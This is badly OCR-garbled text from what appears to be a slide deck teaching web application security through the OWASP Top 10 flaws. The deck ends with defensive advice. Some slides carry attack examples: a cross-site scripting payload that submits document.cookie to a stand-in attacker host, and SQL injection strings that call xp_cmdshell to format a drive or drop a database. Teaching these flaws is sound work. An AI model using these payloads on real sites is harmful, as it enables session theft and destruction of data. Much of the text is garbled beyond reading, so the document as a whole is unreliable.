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Whnat is Web Application @;z;.ﬁm

cCurity?

It 15 not network Security
[t's not anout Flrewalls, Intrusion Detectlorn
rer

systermns, \)Qr‘fclfJﬂJ /5 2111 Flardening,
Dziizipase rlardening, eic
MNetwory Securlty Mostly Uru 25 the Conternis

of FITTP Traffic
Cornrnon rmytr —"We nave a firewall I



Whnat is Web Application
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LIrity?

uring the “custorn code” that drives a2 wep
oollcation
eclring packend sysiermns

curing wep and applicailon servers
curing the users
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(Growing concern



Vulneranility distripution



Wny Web Application Ris:
Occur

Frograrmrmers don't always nave sec
rrinc

rorJe IS not writ e | aiccording to pest
SeCUFR JH ractices
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whnat the attacker can
do to your system

Uinienicaiion Breach / Privilege Escalation

Custorner Impersonation & Information Disclosure

Proprietary Business Data Theft (Latest Trojan...)

Deaftacearneant

Cornrrzncd execution

Replay Attacks

Orcder Tarmpering

Internal sysiern disclosure (O3, DB, F
Application and Systern Configuration Jlsclosure
Source Code Disclosure and Tarnpering

oot cornprormise -> Further network breaches
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Web Application 2B
- EEEWERE
\/umeramhueq In Depin

Build it And the Attacker
will come |



cornrmon oelleves..



Tools....



. topology




DEMO

Link:
http://www.foundstone.com/resources/fre
etooldownload.htm?file=hacmebank.zip
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Top 10 Web Application
\/uer apilities = the "ho!

1.  Unvalidzatied input
2. Brokern access conirol

)
3. Broken ac Ount f/sesslor)
raneagerr er

4. Cross-slie scrigiing flaws
5. Buffer overflows

6. Injection flaws
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error nandling problerns
Inseclure storage/use of cryogtograpny
Denizl of service

10. Insecure configuration maneagernerit






Unvalidated Input EZ




Unvalidated Input
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Attacrer car eesJ/ criange any part of tne HTT
i oefore  subrmitting 1
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Tre attacier ywi

. Calse errors to occur and give up Info
. Buffer overflow

y Mocdify pararneters

’ B/Orby Jog]c checks

. Mod]fy]mg URL
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. Sesslon nijacking witn coorde modification



Unvalidated input

Unvalidaiec l ]nput vulneraoility: “Inout
rnanipulailo
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<forrn narne=creckout action= http://www.test.com/cgi-oir/chieckourt,
mwngd Dost>
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()

150

<type=button narne=category 1D value=2>
<type=nidden narme=price valle=1.,00>
<type=surnmit narme=surnrmit, valus=puy=>
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Buy z cormputer witn £1.00, this actually works



Demo
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JAoney witndraw becormes a deposit. ..
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Irst datapase eniry, mayoe



Useriyoes: : «p crmdsnell ‘formeat c: /o /yes
; drop deatapase myDB; -
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sul: 1) clo everyining

SOL process runs witn systern privileges
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todelete fsp Users where login ld="riewLlser'--
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If sorneone guesses ine | LH URL.... ("o one
Knows, It's secur

SOL Injeciion rquvrl/J frue expression (or
1=1...)

Client sicle autnorizailon—Ir the nands of ine
client 1

Flle permissions — ey allow access to

COMNT Q/cha\]\/JFCJ flles
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Broren Account and

-

session Management

Password cnanges (expiry, eic)

SNIff or crack password/iorern generatior)
Forgot my password — password reset
Forgot my password — password mailing



Broken Account and 7B
session Me anagement
Session Managernent

] Jrrlrelew“ owror ol and does not

-t A

reques, wlme rum vvmr f lpsr ‘ess onlD.
sslorn opject |

Sesslon H]jack]ng Blg vulneraollty |
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Cross-slie Scr
Wen prowsers execlte cod
Wwepsites

I TIVIL

Javascriyl

| trie weoslte to foryearcd
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Cross-Silie Scripting (£XSS)

http://www.insecuresite.com/welcome.a

<FORM
action=http://www.badsite.com/data.asp
method=post id="“idForm”>
<INPUT name=*“cookie”
type=“hidden”>
</[FORM>
<SCRIPT>
idForm.cookie.value=document.cookie

iIdForm.submit();
</SCRIPT>>



r0ss-Site
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Forrn suormissiorn ( OST/GET)
Fossiple to download oinary content (JAVILETTR)

/

Levere ge Nori-c JMJA oruad trusis — poteriial
5Ca



Cross-Site scripting (ASS
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Demo

Using £55 to sieal 2 Uuser coorle arnd

verforrr sess]on h]jack]






SUffer Overflows

Sending a larger puffer trian e pecied

Overwrlie stack return address wep applicaiion

/

C and C++ cocde Is vulneraple to guffer overflows

Managed code like .NET/Java are szafe



Bulfer Overflows

Cornputer Mernory Uszage:



BUTTer Ovel
SUTer Over
Earmple Code
volcd function(c
crner oufrfer[
sitrcopy(ouffe
_}
vold main() {
char large
e 71,
ForC 7 = 0z ]
large <irin
fun on(larg

rflows




Bulfer Overflows



Demo
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SUffer overflow
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Injection Flaws

Wep apolicatlons pass maliclous |
OS snell cornrmerids

External prograrms
Plr J Dpzrar)
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Demo

Acld nevw adminisirator to tne DataBase OS






Error Hlandling

Errors oceur in wep applications el trie tr)

Out of remory, too marny users, imeout, do

falllre

/

Altnierntcation fallur ontrol fallure,

paldl Input
letalls reveal enorrmous inforrmeatior)
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OS5 error code (flle location on disk)
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or Handling 7B
EEEEE

Jlve enougr irfo to user w/o giving tog
rLcr info to atiacker,

Internel loc JIJS
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ISEC TR

. —e Full path names
revealed

Q‘* —o Table Name
Field Name

/ Database Name












Demo

E/posing Internal systern inforrmation —
table colurmnn enurneratiorn)
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Sensltive Inforreation sometimes stored In
Jearta
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Insecure Storage 7B

Cornrnon plifalls. ..

J\JJ ericryption at zll, Insecure storage of credit
carcs, passwords, eic,

Foor criolce of algoriinern (or Inverni your owrn)
Poor randornness

Sesslorn |Ds

Tolkens

Cookles
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nsecure Storage 2B
S EC U H

Secl r/ tnr J opscurity doesn’'t work!

Configuration files, externsal servers, wiinin
ine code



Demo

asswWords of otner Users






Denlal of service



Networks









Insecure configuration @;Z;;BE

Al wep and aipplication servers nave ey
security-relevarnt corrﬂguraﬂon sisiNsigls

lloraries
Overly Informeilve error rmessagyes

J\/JJJJJHHJ'J =cl SSL, default cerilficates, seli-
signed ceris

Unused adrministrative services
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Iration
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lnsecure con:
managernm

Sorme exarmples:
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Tne |IS default Installation directories:
lIsarnoles, msacdc, lisnelo, scriots, orinters

Fronpage default insiallaiion directories:

\inetouo\wwwroot, \inetpuo\wwwroot\ vl pviy,
\inetouo\ vil log)

e

Apzacne default direciories
/cyi-pin
Coldfusion default direciories

[cficle



Insecure conflguration @gj
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Mmenagement

Most of triviel orezsikdns carn ne stopped
0y proper corflguratiorn

Dor/t co cefault installations!



Demo



Conclusion — Some Statistics-n_



r]
o

%



Help!

WHAT TO DOYY7Y



A Simple Program for Gettind?lp
er-_rm/

[rauning (Ut all staris at educaiiorn..”)

Fea cJ ire DJJ Ten paper!
Gei developers irained in wep applicatiorn
security
Try HlacmeBearni | OWASP WeoGoat to learr
now flaws work

Folicy

Wrlte down trie securlty rules for your
applicaiorn

V]ews

exoert code review and peretratlorn test
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A Call To Arms!

ernand weo aoplications tnat don’t nave
triesea tan JJmoJe proplerns

responsiollity for securing your cocle
softwere Develoorment Organizations

rerltee that your wep applications don't
2 top ten flaws

Mewe security part of developer performearnce
reviews



most Irmportant principle... 2B

Flrst and rmost irmportant apolication seclrity
orinciple:



rhhe solution - e; igning 7B
Secure Applications

Inoput Validaiiorn
ALrtrienticatior
Author]za‘tion
Conflguration Managernerii

Searnsiive Data

Acepiion l\/lrlmrlgememr
Auditing and Logyging
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we've talked a

Whnat

Apolication rises
Wzt s a vulnerapility?

Wrialt s an explolt?

—
(_

Attzick exarmoles
Finding a vulneraoility
Turning a vulneraoility to exploit
Using explolis to nack ine sysierr

Deferiding tne applications
Security starts at design
Budget for secur]ty tesing
Security in ine nands of de/AJore rs
Secure prograrmming is (relaiively) simple




Thank you |



